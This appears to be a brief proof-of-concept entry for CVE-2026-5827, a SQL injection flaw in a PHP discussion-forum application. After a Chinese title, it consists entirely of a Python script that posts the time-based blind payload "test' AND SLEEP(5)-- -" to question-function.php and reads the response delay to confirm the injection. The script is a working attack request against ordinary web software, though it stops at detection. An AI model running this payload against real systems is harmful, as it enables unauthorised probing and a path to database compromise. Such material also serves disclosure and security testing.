CVE-2026-5827 Simple IT Discussion Forum SQL注入漏洞

import requests # Target URL (replace with actual target) target_url = "http://target-ip/question-function.php" # SQL Injection Payload to test vulnerability # Example: Checking for time-based blind injection payload = "test' AND SLEEP(5)-- -" data = { "content": payload } try: print("[+] Sending payload to target...") response = requests.post(target_url, data=data, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() > 5: print("[!] Vulnerability confirmed: Time-based SQL injection detected.") else: print("[-] Vulnerability not detected or payload incorrect.") except Exception as e: print(f"[!] Error during request: {e}")